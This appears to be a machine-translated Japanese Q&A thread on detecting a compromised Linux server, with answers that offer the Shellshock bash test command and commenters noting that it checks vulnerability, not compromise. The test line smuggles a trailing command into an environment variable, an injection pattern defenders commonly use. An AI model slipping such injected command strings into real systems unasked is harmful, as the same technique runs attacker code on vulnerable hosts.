  1. できません。マシンが実際に危険にさらされている場合、通常の監視ツール(ps、top、lsof、...)が同様のツールに置き換えられ、出力が正常に見え、疑わしいアクティビティが隠されていると考えるのは合理的です
  2. いや 実行可能ファイルを含む任意のフォルダに配置できます。
  3. 実行可能ファイルまたはスクリプト(ELFバイナリ、.shellスクリプト、...)(通常の監視ツールを含む)

-3

Linuxボックスが危険にさらされているかどうかを確認する方法。

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

ifが返される場合

vulnerable
this is a test

あなたは。

更新を実行するには、rootで次のコマンドを実行します

sudo yum update bash

16
-1このチェックは、bashが実際に侵害されているかどうかではなく、bashが脆弱かどうかを確認します。
カリモ14

1
またyum、別のパッケージマネージャーではなく、実行していることを前提としています。
DavidG 14年

-3

次のコマンド(CSAが提供するコード)を実行することにより、脆弱かどうかを確認できます。ターミナルウィンドウを開き、$プロンプトで次のコマンドを入力します。

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

bashが最新でない場合は、次のように印刷されます:

vulnerable
this is a test

bashが最新の場合は、次のもののみが表示されます。

this is a test

詳細はこのリンクの後ろにあります。


1
質問はおよそサーバーがされたことを検出した妥協それはだではないことを、脆弱
ギャレス

質問に回答しないためスコアが低い回答に非常に類似した回答を投稿する前に、他の回答を読むことを検討してください。
マヌH 14年
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.